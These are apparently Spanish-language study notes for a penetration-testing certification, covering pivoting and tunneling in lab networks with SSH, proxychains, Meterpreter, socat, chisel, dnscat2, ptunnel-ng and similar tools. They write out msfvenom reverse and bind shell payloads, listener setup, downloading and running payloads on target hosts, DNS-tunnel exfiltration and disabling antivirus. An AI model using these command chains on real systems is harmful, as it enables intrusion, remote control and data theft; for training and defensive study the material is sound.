Esto se suele usar cuando o MySQL no permite ejecuciones remotas, solo locales o cuando queremos usar MySQL Workbench pero desde la conexion de SSH no podemos al solo tener la terminal (son ejemplos)
Pasos:
- Escaneamos el host destino
sudo nmap -Pn -sS -sVC IP
![[Pasted image 20260703142724.png]]
- Creamos el tunel de redireccion local (enviara todo lo que le enviemos por 1234 al 3306 local)
ssh -L 1234:localhost:3306 USER@IP
![[Pasted image 20260703142801.png]]
O se pueden redirigir multiples puertos:
ssh -L PUERTOLISTENER:localhost:PUERTOREENVIO -L PUERTOLISTENER:localhost:PUERTOREENVIO USER@IP
- Confirmamos la redireccion (vemos que hay un listener en el 1234)
netstat -antp | grep 1234
![[Pasted image 20260703142935.png]]
nmap -sV -p1234 localhost
![[Pasted image 20260703143031.png]]
Tunelizacion SSH con SOCKS (Proxychains)
Esto se hace para poder alcanzar todas las interfaces del host remoto y asi acceder a nuevas secciones de red
- Ahora si hacemos ifconfig veremos una de las intefaces conectada a nuestro host
ifconfig
![[Pasted image 20260703145111.png]]
- Podemos realizar un escaneo de red ens224 (172.16.5.0/23) para descubrir hosts y servicios (no podemos hacer esto desde nuestro host de ataque porque no hay rutas hacia esa red por lo que tendremos que crear tunelizacion SSH sobre un proxy SOCKS)
![[Pasted image 20260703145515.png]]
El trafico inicial es generado por un cliente SOCKS que se conecta a un servidor SOCKS controlador por el usuario que quiere acceder a un servicios del lado del cliente
Se suele usar para evadir restricciones de firewalls.
- Se inicia un cliente SSH y solicita al servidor SSH que le permita enviar datos via TCP a traves de un socket SSH
- El servidor responde con un ACK de recibido y el cliente empieza a escuchar por el puerto 9050
- Cualquier dato recibido por el puerto 9050 sera transmitiod a toda la red (172.16.5.0/23) a traves de SSH
ssh -D 9050 USER@IP
-D PUERTO: habilita la redireccion de puertos dinamica
- Configuramos el archivo /etc/proxychains.conf
sudo nano /etc/proxychains.conf
![[Pasted image 20260703150145.png]]
- Ejecutamos comandos que se redirigiran hacia la red interna (no podemos usar -sS porque proxychains no entiende paquetes de transporte parciales necesitamos SYN, SYN/ACK, ACK)
proxychains nmap -sn 172.16.5.1-200
![[Pasted image 20260703150250.png]]
- Escaneamos un host
proxychains nmap -Pn -sT IP
![[Pasted image 20260703151015.png]]
Proxychains con MSF
proxychains msfconsole -q
search rdp_scanner
use 0
set rhosts IP
run
Podemos ver que el puerto 3389 RDP esta abierto y el SO
![[Pasted image 20260703151211.png]]
Ejemplo de inicio de sesion RDP
proxychains xfreerdp3 /v:IP /u:USER /p:PASS
![[Pasted image 20260703151315.png]]![[Pasted image 20260703151322.png]]
Ejemplo practico
-
Nos conectamos via SSH y miramos las interfaces a las que tiene acceso el host
![[Pasted image 20260703152730.png]]![[Pasted image 20260703152748.png]]
-
Para acceder a la otra interfaz desde nuestra Kali creamos un tunel SOCKS mediante proxychains para poder ejecutar comandos en la interfaz de la red interna
![[Pasted image 20260703152820.png]]
- Configuramos proxychains, revisamos que el puerto 3389 y host de la red interna esten activos y nos conectamos via RDP
![[Pasted image 20260703152945.png]]![[Pasted image 20260703153151.png]]![[Pasted image 20260703153355.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 2. Redireccion De Puertos (ssh, Tcp, Meterpreter...)
2. Redireccion De Puertos Remota Via SSH
En este caso tenemos la situacion de que tenemos al igual que antes un host interno Windows al que podemos conectarnos via RDP
![[Pasted image 20260703154020.png]]
Podemos acceder a el mediante proxychains, pero si tratamos de realizar un reverse shell o que nos envie un archivo directamente, como lo hacemos?
- Host atacante = kali
- Host pivote = ubuntu
- Host objetivo = windows
Vamos a tratar de crear esa reverse shell:
- Creamos la shell meterpreter con msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP_INTENRA_HOST_PIVOTE -f exe -o NOMBRE.exe LPORT=8080
![[Pasted image 20260703154401.png]]
- Configuramos el multi/handler
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 8000
run
![[Pasted image 20260703154524.png]]
- Pasamos el payload al host pivote con scp
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./
![[Pasted image 20260703154613.png]]
- En el servidor Ubunto o host pivote creamos un servidor HTTP
python3 -m http.server 8123
![[Pasted image 20260703154709.png]]
- Desde el host destino descargamos el script
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"
![[Pasted image 20260703154848.png]]
- Usamos la redireccion de puertos remota en SSH desde nuestra Kali para redirigir las conexiones hacia 8080 del servidor Ubuntu hacia el 8000 del host Kali donde esta el listener msfconsole
ssh -R IP_INTENA_HOST_PIVOTE:8080:0.0.0.0:8000 USER@IP_PUBLICA_HOST_PIVOTE -vN
![[Pasted image 20260703155306.png]]
- Ejecutamos el payload en el host objetivo
- Obtenemos la reverse shell en el listener MSF
![[Pasted image 20260703155625.png]]
Ejemplo practico
Tras realizar el proxychains explicado en [[1. Redireccion de puertos LOCAL via SSH y Redireccion SOCKS via Proxychains]] empezamos:
![[Pasted image 20260703155923.png]]
-
Creamos el payload
![[Pasted image 20260703162807.png]]
-
Creamos el listener
![[Pasted image 20260703160454.png]]
-
Pasamos el payload al pivot
![[Pasted image 20260703160617.png]]
-
Pasamos el payload del pivot al objetivo
![[Pasted image 20260703160713.png]]![[Pasted image 20260703160721.png]]![[Pasted image 20260703161347.png]]![[Pasted image 20260703161401.png]]
-
Creamos la redireccion remota de puertos
![[Pasted image 20260703162427.png]]
-
Ejecutamos el payload
![[Pasted image 20260703162953.png]]![[Pasted image 20260703163027.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 2. Redireccion De Puertos (ssh, Tcp, Meterpreter...)
3. Tunelizacion Y Redireccion De Puertos Con Meterpreter
Vamos a suponer que tenes un shell Meterpreter en el host Pivot Ubuntu y queremos ejecutar escaneos a la red interna a traves de este pivot
- Creamos la shell Meterpreter en el host Pivot Ubuntu
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP_KALI LPORT=8080 -f elf -o NOMBRE
![[Pasted image 20260703173626.png]]
- Iniciamos el listener, en este caso con multi/handler
msfconsole -q
> set payload linux/x64/meterpreter/reverse_tcp
> set lport 8080
> set lhost 0.0.0.0
> run
![[Pasted image 20260703174028.png]]
- Pasamos el payload al ubuntu
scp ARCHIVO USER@IP:./
chmod +x ARCHIVO
./ARCHIVO
![[Pasted image 20260703174119.png]]
- Obtenemos el meterpreter
![[Pasted image 20260703174137.png]]
Ping_sweep
Intentar al menos dos veces ya que la tabla ARP tarda en construirse y podria dar errores en un primer intento
- Desde meterpreter usamos modulos de MSF para realizar ping_sweep
meterpreter> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
![[Pasted image 20260703174258.png]]
Ejemplos con bucles for:
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)"}
Escaneo TCP
Si el firewall no permite paquetes ICMP y ping no da respuesta
- Configuramos el Proxy SOCKS
meterpreter> CTL Z
msfconsole> use auxiliary/server/socks_proxy
> set SRVPORT 9050
> set SRVHOST 0.0.0.0
> set version 4a
> run
> jobs
![[Pasted image 20260703174838.png]]![[Pasted image 20260703174845.png]]
- Revisar /etc/proxychains
tail -n 5 /etc/proxychains.conf
![[Pasted image 20260703174926.png]]
- Por ultimo indicamos al modulo socks_proxy que enrute todo el trafico a traves de la sesion de meterpreter creando una ruta autoroute
msfconsole> use post/multi/manage/autoroute
set session N
set subnet 172.16.5.0
run
![[Pasted image 20260703175609.png]]
session N
meterpreter> run autoroute -s 172.16.5.0/23
![[Pasted image 20260703175651.png]]
- Listamos las rutas activas
meterpreter> run autoroute -p
![[Pasted image 20260703175756.png]]
- Ahora podemos usar proxychains desde la terminal normal de la kali
proxychains nmap -Pn -sT -p3389 IP
![[Pasted image 20260703175902.png]]
Redireccion de puertos
Podemos ejecutar un listener en nuestra maquina atacante y que el Meterpreter redirija todos los paquetes recibidos en este puerto hacia el host remoto en la red 172.16.5.0/23
- Creamos la redireccion: se inicia un listener en el puerto local 3300 y redirige todos los paquetes al servidor Windows en la IP 172.16.5.19 a su puerto 3389
meterpreter> portfwd add -l 3300 -p 3389 -r 172.16.5.19
- Ejecutamos RDP en nuestro puerto local 3300
xfreerdp /u:USER /p:PASS /v:localhost:3300
Redireccion de puertos inversa en Meterpreter
Para enviar por ejemplo las shells remotas que reciba el Windows (host objetivo de la red interna) al Linux (host pivote) y este ultimo lo reenvie a nuestra Kali (host atacante)
- Creamos la redireccion de puertos inversa
meterpreter> portfwd add -R -l 8081 -p 1234 -L IP_Kali
- Configuramos el multi/handler
meterpreter> bg
msf> use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 8081
set LHOST 0.0.0.0
run
- Creamos el payload de reverse shell que enviara una reverse shell al puerto 1234 del Ubuntu y este nos lo reenviara por el puerto 8081
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP_HOST_PIVOTE_INTERNA LPORT=1234 -f exe -o NOMBRE.exe
![[Pasted image 20260704112938.png]]
- Lo pasamos primero al host pivote y luego al host objetivo
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./
python3 -m http.server 8123
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"
- Ejecutamos el reverse shell y obtenemos la shell en Meterpreter
![[Pasted image 20260704113118.png]]
Ejemplo practico
-
Creamos el reverse shell de meterpreter para Ubuntu (host pivote)
![[Pasted image 20260704113454.png]]
-
Lo pasamos al host pivote, creamos un listener en MSF y lo ejecutamos
![[Pasted image 20260704113612.png]]![[Pasted image 20260704113829.png]]![[Pasted image 20260704113956.png]]
![[Pasted image 20260704114015.png]]![[Pasted image 20260704114023.png]]
-
Realizamos un ping sweep dentro de la red
![[Pasted image 20260704114545.png]]
-
Vamos a crear un tunel sock (proxychains)
![[Pasted image 20260704114737.png]]
-
Creamos una ruta para que el proxychains se ejecute dentro de la subred 172.16.5.0/23
![[Pasted image 20260704115052.png]]
-
Usamos proxychains para conectarnos al host objetivo
![[Pasted image 20260704115326.png]]
-
Creamos un reverse shell que apunte al host pivote
![[Pasted image 20260704115506.png]]
-
Creamos la redireccion de puertos inversa en meterpreter para lo que se envie al puerto 1234 de Ubuntu nos lo reenvie a nosotros
![[Pasted image 20260704115620.png]]
- Creamos nuestro listener
![[Pasted image 20260704115743.png]]![[Pasted image 20260704115750.png]]
- Desde Linux pasamos el rshellw a Windows
![[Pasted image 20260704115936.png]]![[Pasted image 20260704120129.png]]
- Ejecutamos y obtenemos el meterpreter reverse shell de Windows
![[Pasted image 20260704120229.png]]
![[Pasted image 20260704120244.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 3. Redireccion Con Socat
1. Reverse Shell
Socat: herramienta de retransmision bidireccional que puede crear sockets entre 2 canales de red independientes sin usar SSH
Actua como redireccionador que puede escuchar en un host por un puerto y reenviarlo a otra direccion IP y puerto
- Iniciamos listener en MSF
msfconsole -q
> set payload linux/x64/meterpreter/reverse_tcp
> set lport 80
> set lhost 0.0.0.0
> run
- Iniciamos el listener sockat en Ubuntu (host pivote)
socat TCP4-LISTEN:8080,fork TCP4:IP_Kali:80
- Creamos el payload para Windows que apuntara la reverse shell a Linux y nos la reenviara a nuestra Kali
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP_HOST_PIVOTE_INTERNA LPORT=8080 -f exe -o NOMBRE.exe
- Lo pasamos al host objetivo Windows
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./
python3 -m http.server 8123
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"
- Ejecutamos el reverse shell en Windows y obtenemos el shell
![[Pasted image 20260704121040.png]]
Ejemplo practico
- Creamos los payloads de reverse shell para Windows y Linux
![[Pasted image 20260704121553.png]]
- Pasamos ambos al Linux mediante scp
![[Pasted image 20260704121612.png]]
- Creamos un listener en MSF y ejecutamos el reverse shell de Linux (host pivote)
![[Pasted image 20260704121644.png]]
-
Creamos la redireccion de puertos mediante proxychains para poder conectarnos via RDP al host objetivo a traves del host pivote
![[Pasted image 20260704121718.png]]![[Pasted image 20260704121807.png]]
-
Nos conectamos al host objetivo mediante RDP y proxychains
![[Pasted image 20260704122007.png]]
-
Pasamos el archivo rshellw al Windows desde el host pivote
![[Pasted image 20260704121956.png]]
-
Iniciamos otro listener en MSF que sera al que nos reenvien la reverse shell de Windows
![[Pasted image 20260704122753.png]]
![[Pasted image 20260704122109.png]]
-
Creamos la redireccion con SOCAT para que nos reenvie lo que le llegue por el puerto 1234 a nosotros por nuestro puerto 80
![[Pasted image 20260704122516.png]]![[Pasted image 20260704122501.png]]
-
Ejecutamos en Windows el reverse shell y obtemos la sesion Meterpreter
![[Pasted image 20260704122842.png]]
![[Pasted image 20260704122833.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 3. Redireccion Con Socat
2. Bind Shell
En este caso el listener estara en el Windows que se vinculara a un puerto particular. Al mismo tiempo habremos creado un rediccionador en el pivote que enviara la binario del host atacante al windows
![[Pasted image 20260704123428.png]]
- Creamos el payload bind shell
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8443 -f exe -o NOMBRE.exe
- Pasamos el bind shell al host objetivo
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./
python3 -m http.server 8123
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"
- Creamos el redireccionador socat en el host pivote
socat TCP4-LISTEN:8080,fork TCP4:IP_HOST_OBJETIVO:8443
- Iniciamos el multi/handler de bind en MSF
msfconsole> use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST IP_HOST_PIVOTE_PUBLICA
set LPORT 8080
run
![[Pasted image 20260704123745.png]]
- Lo ejecutamos y obtenemos el shell
![[Pasted image 20260704123907.png]]
Ejemplo practico
Una vez creado el proxychains y ya conectados via RDP al host objetivo podemos empezar
- Creamos el payload y lo pasamos al host objetivo
![[Pasted image 20260704124117.png]]![[Pasted image 20260704124152.png]]![[Pasted image 20260704124300.png]]![[Pasted image 20260704124306.png]]
- Creamos el redireccionador con socat
![[Pasted image 20260704124448.png]]
- Creamos el listener en MSF
![[Pasted image 20260704124615.png]]
- Ejecutamos y obtenemos la shell
![[Pasted image 20260704124912.png]]![[Pasted image 20260704124920.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 4. Pivotando Con Obstaculos
1. SSH Para Windows (plink.exe Y Proxifier)
Plink: herramienta SSH para Windows que tambien se puede usar para crear redirecciones
Suele estar en maquinas antiguas que contienen el paquete PuTTY o que tienen una copia de esta
Ejemplo de uso de Plink
Imagina que nos encontramos desde una maquina Windows en vez de una Linux o Kali para hacer el pivoting
![[Pasted image 20260704133158.png]]
- Iniciamos la redireccion de puertos dinamica (proxychains)
plink -ssh -D 9050 USER@IP_HOST_PIVOTE
Ejemplo de uso de Proxifier
Proxifier: herramienta que puede ser usada para iniciar un tunel SOCKS a traves de la sesion SSH que hemos creado
Crea una red tunelizada para aplicaciones de cliente de escritorio
- Lo configuramos para:
![[Pasted image 20260704133555.png]]
- Podemos usar mstsc.exe para iniciar una sesion RDP en el host Windows objetivo interno
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 4. Pivotando Con Obstaculos
2. Pivoting SSH Con Sshuttle
Sshuttle: herramienta de Python que elimina la necesidad de configurar proxychains pero solo funciona sobre SSH
- Instalamos la herramienta
sudo apt install sshuttle
![[Pasted image 20260704134300.png]]
- Ejecutamos sshuttle: -r nos permite conectarnos a la maquina remota (host pivote). Necesitamos incluir la red o IP que queremos enrutar a traves del host pivote
Esto crea una entrada en iptables que redirige todo el trafico hacia la red interna a traves del host pivote
sudo sshuttle -r USER@IP_HOST_PIVOTE_PUBLICA IP_RED/mascara
![[Pasted image 20260704134438.png]]
- Ejecutamos comandos dentro de la red interna
sudo nmap -Pn -sT -p3389 IP_HOST_OBJETIVOD
![[Pasted image 20260704134610.png]]
Ejemplo practico
-
Configuramos la redireccion de puertos
![[Pasted image 20260704134927.png]]
-
Ejecutamos comandos a la red interna
![[Pasted image 20260704135112.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 4. Pivotando Con Obstaculos
3. Pivoting En Servidores WEB Con Rpivot
Rpivot: heramienta que crea un túnel SOCKS inverso desde un equipo de la red interna hacia el atacante, permitiendo que éste enrute su tráfico a través del equipo comprometido para acceder a otros sistemas de la red interna
![[Pasted image 20260704140010.png]]
- Clonamos el repositorio de Rpivot
git clone https://github.com/klsecservices/rpivot.git
- Iniciamos nuestro servidor proxy SOCKS de rpivot para conectarnos a nuestro cliente en el servidor Ubuntu (host pivote)
python2 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
- Transferimos rpivot al objetivo (host pivote)
scp -r rpivot USER@IP_HOST_PIVOTE_PUBLICA:./
- Ejecutamos el cliente rpivot en el host pivote
python2 client.py --server-ip IP_Kali --server-port 9999
- Ejecutamos comandos mediante proxychains para poder ejecutarlos en la red interna
proxychains firefox-esr IP_HOST_OBJETIVO:80
![[Pasted image 20260704140459.png]]
Proxy HTTP y Autenticacion NTLM
Puede que el KDC tenga configurado un proxy HTTP con autenticacion NTLM por lo que debemos especificar en la parte de cliente la autenticacion NTLM para que el pivote puede llegar a nuestro host de ataque
python client.py --server-ip IP_Kali --server-port 8080 --ntlm-proxy-ip IP_PROXY_HTTP --ntlm-proxy-port 8081 --domain DOMAIN --username USER --password PASS
IP_PROXY_HTTP: suele ser otra maquina con servicio proxy y en pocas ocasiones es el propio servidor web. Si hicieramos nmap a ese host IP_PROXY_HTTP veriamos:
![[Pasted image 20260704141427.png]]
Ejemplo practico
-
Pasamos rpivot al host pivote
![[Pasted image 20260704141650.png]]
-
Creamos el servidor en la maquina de ataque
![[Pasted image 20260704141757.png]]
- Creamos el cliente en la maquina pivote
![[Pasted image 20260704141921.png]]
- Ejecutamos comandos a la red interna con proxychains
![[Pasted image 20260704142345.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 4. Pivotando Con Obstaculos
4. Redireccion De Puertos Con Netsh De Windows
Netsh: herramienta de Windows que ayuda a la configuracion de red de un sistema Windows
![[Pasted image 20260704151953.png]]
- Usamos netsh.exe para redirigir todos los datos recibidos en un puerto a un host remoto a su puerto remoto
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddres=IP_HOST_PIVOTE_PUBLICA connectport=3389 connectaddres=IP_HOST_OBJETIVO
- Verificamos la redireccion de puertos
netsh.exe interface portproxy show v4tov4
![[Pasted image 20260704152247.png]]
- Nos conectamos al puerto 3389 del host objetivo a traves del puerto 8080 del host pivote
xfreerdp3 /u:USER /p:PASS /v:IP_HOST_PIVOTE_PUBLICA:8080
![[Pasted image 20260704152423.png]]
Ejemplo practico
-
Nos conectamos al host pivote via RDP
![[Pasted image 20260704152709.png]]
-
Creamos el redireccionador en el host pivote
![[Pasted image 20260704153033.png]]
- Nos conectamos al puerto 8080 del host pivote que nos redirigira al puerto 3389 del host objetivo
![[Pasted image 20260704153226.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 5. Creando Mas Tuneles
1. Tunelizacion DNS Con Dnscat2
Dnscat2: herramienta de tunelizacion que usa el protocolo DNS para enviar datos entre dos hosts. Envia los datos dentro de registros TXT del protocolo DNS
En general en cada AD hay un NS que resuelve los nombres de hosts a IP y enruta el trafico a servidores DNS externos si es necesario
Con Dnscat se solicita a un servidor externo. Este se hace cuando un servidor DNS local trata de resolver una direccion, en lugar de una solicitud legitima se exfiltran datos y se envian a traves de red (Dnscat es muy sigiloso para exfiltrar datos)
- Clonamos dnscat2
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
- Iniciamos nuestro servidor dnscat2 en la kali
sudo ruby dsncat2.rb --dns host=IP_Kali,port=53,domain=DOMAIN --no-cache
![[Pasted image 20260704170112.png]]
Este nos habra proporcionado una clave secreta que debemos indicar en el cliente para cifrar los datos enviados entre cliente y servidor
- Creamos el cliente: podemos usar el que viene con dnscat2 o dnscat2-powershell
git clone https://github.com/lukebaggett/dnscat2-powershell.git
- Lo transferimos al host objetivo
PS> Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver IP_Kali -Domain DOMAIN -PreSharedSecret CLAVE_SECRETA_SERVIDOR -Exec cmd
-
Tendremos una sesion establecida en nuestra kali
![[Pasted image 20260704170459.png]]
-
Interactuamos con las sesiones
dnscat2> window -i 1
cmd>
![[Pasted image 20260704170611.png]]
Ejemplo practico
-
Creamos el servidor en nuestra kali
![[Pasted image 20260704170921.png]]
-
Clonamos la herramienta de PS para el Windows
![[Pasted image 20260704171036.png]]
-
Nos conectamos via RDP al Windows y nos pasamos un recurso compartido donde se encuentra la herramienta de PS
![[Pasted image 20260704171448.png]]
- La copiamos y pegamos en el escritorio para mayor comodidad
![[Pasted image 20260704172012.png]]![[Pasted image 20260704171532.png]]
- Ejecutamos el cliente y obtenemos una sesion en el servidor
![[Pasted image 20260704171748.png]]
- Iniciamos la session obtenida y obtenemos una shell
![[Pasted image 20260704171854.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 5. Creando Mas Tuneles
2. Tunelizacion SOCKS5 Con Chisel
Chisel: herramienta de tunelizacion basada en TCP/UDP que usa HTTP para transportar datos que se aseguran mediante SSH. Puede crear una conexion cliente servidor en un entorno protegido por un firewall
![[Pasted image 20260705005834.png]]
- Clonamos el repositorio de Chisel o descargarla de Realeases
git clone https://github.com/jpillora/chisel.git
- Compilar
cd chisel
go build
- Transferir el binario Chisel
scp chisel USER@IP:./
![[Pasted image 20260705010147.png]]
- Ejecutamos server chisel en el host pivote
./chisel server -v -p 1234 --socks5
![[Pasted image 20260705010224.png]]
- Conexion con el servidor Chisel como client desde nuestra kali
./chisel client -v IP_HOST_PIVOTE_PUBLICA:1234 socks
![[Pasted image 20260705010338.png]]
- Condifuracion de proxychains para el SOCKS5
sudo nano /etc/proxchains4.conf
![[Pasted image 20260705010513.png]]
- Usar comandos con proxychains para alcanzar la red interna
proxychains xfreerdp /v:IP_HOST_OBJETIVO /u:USER /p:PASS
Pivoting inverso con Chisel
Se suele usar cuando el firewall no permite conexiones entrantes. Con esto hacemos que el host pivote sea el que actue como cliente hacia fuera
- Iniciamos el servidor Chisel en nuestra maquina Kali
sudo ./chisel server --reverse -v -p 1234 --socks5D
![[Pasted image 20260705010838.png]]
- Desde Host Pivote nos conectamos como clientes a nuestro servidor en Kali
./chisel client -v IP_KALI:1234 R:socks
![[Pasted image 20260705010935.png]]
- Configuracion de /etc/proxychains
sudo nano /etc/proxychains4.conf
![[Pasted image 20260705011015.png]]
- Usamos comandos con proxychains para conectarnos a la red interna
proxychains xfreerdp3 /u:USER /p:PASS /v:IP
Ejemplo practico
-
Pasamos chisel al host pivote
![[Pasted image 20260705011554.png]]
-
Creamos el server en nuestra kali para hacer un pivoting inverso
![[Pasted image 20260705011655.png]]
-
Configuramos /etc/proxychains4.conf
![[Pasted image 20260705011752.png]]
- Ejecutamos cliente chisel que se conectara a nuestra kali pero da error de librerias por lo que tendremos que usar otra version
![[Pasted image 20260705012125.png]]
- Pasamos la otra veersion, creamos el servidor y en el host pivote ejecutamos el cliente que se conecta a nuestro servidor
![[Pasted image 20260705012136.png]]![[Pasted image 20260705012235.png]]![[Pasted image 20260705012244.png]]
- Ejecutamos comandos mediante proxychains dentro de la red interna
![[Pasted image 20260705012515.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 5. Creando Mas Tuneles
3. Tunelizacion Icmp Con Socks
Encapsula el trafico en paquetes ICMP que contienen solicitudes y respuestas ECHO. Solo funciona cuando las respuestas ping estan permitidas dentro de la red desde un host dentro de la red hacia un servidor externo
ptunnel-ng: herramienta usada para crear el tunel ICMP
- Clonamos el repositorio
git clone https://github.com/utoni/ptunnel-ng.git
- Ejecutamos el script de autogen.sh para compilar
cd ptunnel-ng
sudo ./autogen.sh
Alternativa para compilar:
sudo apt install automake autoconf -y
cd ptunnel-ng/
sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
./autogen.sh
- Pasamos el repostorio al host objetivo
scp -r ptunnel-ng USER@IP:./
- Iniciamos el servidor en el host pivote
sudo ./ptunnel-ng -rIP_HOST_PIVOTE_PUBLICA -R22
![[Pasted image 20260705121413.png]]
- Nos conectamos al servidor desde nuestra kali
sudo ./ptunnel-ng -pIP_HOST_PIVOTE_PUBLICA -l2222 -rIP_KALI -R22
![[Pasted image 20260705121537.png]]
- Podemos tratar de conectarnos a ssh usando el puerto 2222
ssh -p2222 [email protected]
![[Pasted image 20260705121648.png]]
Reenvio de puertos dinamico
- Podemos usar el tunel para el reenvio de puertos dinamico
ssh -D 9050 -p2222 [email protected]
![[Pasted image 20260705121813.png]]
- Podemos ahora ejecutar comandos dentro de la red interna
proxychains nmap -sT IP_HOST_OBJETIVO -p3389
![[Pasted image 20260705121858.png]]
Si miramos por Wireshark la conexion ssh a traves del tunel veremos muchos paquetes ICMP
![[Pasted image 20260705121955.png]]
Ejemplo practico
- Pasamos ptunnel-ng al host pivote
![[Pasted image 20260705122446.png]]
-
Nos conectamos al host pivote y creamos el servidor
![[Pasted image 20260705122616.png]]![[Pasted image 20260705122901.png]]
-
Creamos el cliente en la kali
![[Pasted image 20260705123526.png]]
- Creamos la redireccion dinamica y vemos que los paquetes que se envian son en ICMP
![[Pasted image 20260705123609.png]]
- Ejecutamos comandos dentro de la red interna con proxychains
![[Pasted image 20260705123952.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 6. Double Pivots
1. Tunelizacion RDP Y Socks Con Socksoverrdp
En los casos en los que tengamos acceso a una maquina Linux y solo Windows
SocksOverRDP: herramienta que usa los Canales Virtuales Dinamicos DVC responsables de tunelizar paquetes a traves de RDP
![[Pasted image 20260705135953.png]]
- Binarios necesarios:
Podemos buscar ProxifierPE.zip
- Nos conectamos via RDP con xfreerdp al host Windows inicial y copiamos el archivo SocksOverRDPx64.zip
- Necesitamos cargar en el host pivote la DLL SocksOverRDP.dll
C:\..\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
![[Pasted image 20260705125223.png]]
- Nos conectamos via RDP al host pivote usando mstsc.exe
![[Pasted image 20260705125304.png]]
- Pasamos el archivo SocksOverRDP-Server.exe al host objetivo y lo ejecutamos como administrador
![[Pasted image 20260705125349.png]]
-
Comprobamos en el host pivote que hay un SOCKS5 iniciado
![[Pasted image 20260705125427.png]]
-
Transferimos Proxifier al pivote y lo configuramos
![[Pasted image 20260705125530.png]]![[Pasted image 20260705125541.png]]
- Una vez configurado nos podemos iniciar mstsc.exe para pivotar todo el trafico a traves de 127.0.0.1:1080 que lo tunelizara por RDP a el host objetivo que a su vez lo enrutara a el host pivote
![[Pasted image 20260705130120.png]]
Rendimiento
Si el rendimiento de RDP es bajo podemos acceder en a Remote Desktop Connection > Experience > Modem
![[Pasted image 20260705130229.png]]
Ejemplo practico
![[Pasted image 20260705135959.png]]
- Nos conectamos al host inicial desde nuestra kali con el recurso compartido donde tenemos las herramientas necesarias
![[Pasted image 20260705130721.png]]
- Pasamos los zips de las herramientas necesarias al host inicial y las extraemos
![[Pasted image 20260705132506.png]]
- Quitamos las protecciones del antivirus para poder ejecutar las acciones
![[Pasted image 20260705131837.png]]
![[Pasted image 20260705131917.png]]
- Iniciamos la DLL que nos permitira iniciar SOCKS
![[Pasted image 20260705132244.png]]
- Nos conectamos al host pivote interno mediante RDP
![[Pasted image 20260705133402.png]]![[Pasted image 20260705132648.png]]![[Pasted image 20260705132746.png]]
- Hacemos copia y pega del exe que necesitamos desde el host inicial hacia el host pivote interno
![[Pasted image 20260705132913.png]]
- Deshabilitamos el antivirus e iniciamos el servidor SOCK que se conecta al host inicial
![[Pasted image 20260705133240.png]]![[Pasted image 20260705133725.png]]
- En el host inicial podemos ver como se ha creado el tunel SOCK
![[Pasted image 20260705133901.png]]
- Configuramos en el host inicial el proxifier para poder conectarnos al host objetivo
![[Pasted image 20260705133930.png]]![[Pasted image 20260705133956.png]]![[Pasted image 20260705134035.png]]![[Pasted image 20260705134430.png]]
- Una vez configurado tendremos acceso a la red interna 2 a traves del host pivote desde el host inicial
![[Pasted image 20260705134506.png]]![[Pasted image 20260705134536.png]]![[Pasted image 20260705135310.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 7. Skill Assessment
1. Skill Assessment
![[Pasted image 20260705161243.png]]
Nos han dejado una webshell para iniciar
-
Vemos las interfaces del host y encontramos un acceso a la red interna
![[Pasted image 20260705150229.png]]
-
Mirando en sus archivos encontramos un id_rsa y un archivo con claves en texto plano para el siguiente objetivo
